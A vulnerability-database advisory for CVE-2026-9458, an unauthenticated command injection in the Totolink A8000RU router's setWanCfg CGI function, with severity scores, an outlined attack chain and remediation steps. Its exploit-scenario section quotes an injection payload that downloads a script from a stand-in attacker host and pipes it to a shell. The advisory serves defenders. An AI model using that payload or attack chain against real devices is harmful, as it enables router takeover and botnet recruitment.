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Totolink A8000RU CVE-2026-9458

| EUVD-2026-31678 HIGH
OS Command Injection (CWE-78)
2026-05-25 VulDB GHSA-hff2-jrpw-c7ch
8.9
CVSS 4.0 · NVD
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NVD PRIMARY
8.9 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

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CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

3
Analysis Generated
Jun 08, 2026 - 09:20 vuln.today
Severity Changed
May 26, 2026 - 19:07 NVD
CRITICAL HIGH
CVSS changed
May 26, 2026 - 19:07 NVD
9.8 (CRITICAL) 8.9 (HIGH)

DescriptionCVE.org

A vulnerability was identified in Totolink A8000RU 7.1cu.643_b20200521. The impacted element is the function setWanCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Such manipulation of the argument enabled leads to os command injection. The attack may be performed from remote. The exploit is publicly available and might be used.

AnalysisAI

Remote OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows unauthenticated attackers to execute arbitrary operating system commands through the setWanCfg function in /cgi-bin/cstecgi.cgi by manipulating the 'enabled' parameter. Publicly available exploit code exists, and with CVSS 4.0 score of 8.9 (network-reachable, low complexity, no privileges required), exposed devices face high risk despite an EPSS score of 0.89% (76th percentile) indicating moderate near-term exploitation probability.

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify exposed Totolink web interface
Delivery
Send crafted POST to /cgi-bin/cstecgi.cgi setWanCfg
Exploit
Inject shell metacharacters via 'enabled' parameter
Execution
Execute arbitrary OS commands as web daemon
Persist
Establish persistence on router firmware
Impact
Pivot to LAN traffic interception or botnet

Vulnerability AssessmentAI

Exploitation Exploitation requires network reachability to the device's Web Management Interface (the listener for /cgi-bin/cstecgi.cgi) and that the device be running the specific vulnerable firmware A8000RU 7.1cu.643_b20200521. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment Risk signals are largely aligned in the 'elevated' direction: CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N rates this as network-reachable, low-complexity, unauthenticated, with high confidentiality, integrity, and availability impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker scanning the internet for Totolink devices with exposed web management ports sends an HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setWanCfg function with a malicious 'enabled' parameter containing shell metacharacters (e.g., ';wget http://attacker/x.sh|sh'). Because exploit code is publicly available on GitHub, the attack requires no original research and can be folded into mass-scanning toolkits. …
Remediation No vendor-released patch identified at time of analysis - Totolink has not published a firmware update or security bulletin referenced in the available data. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Conduct comprehensive inventory of all Totolik A8000RU routers and identify devices running firmware 7.1cu.643_b20200521 or earlier; segregate internet-facing instances. …

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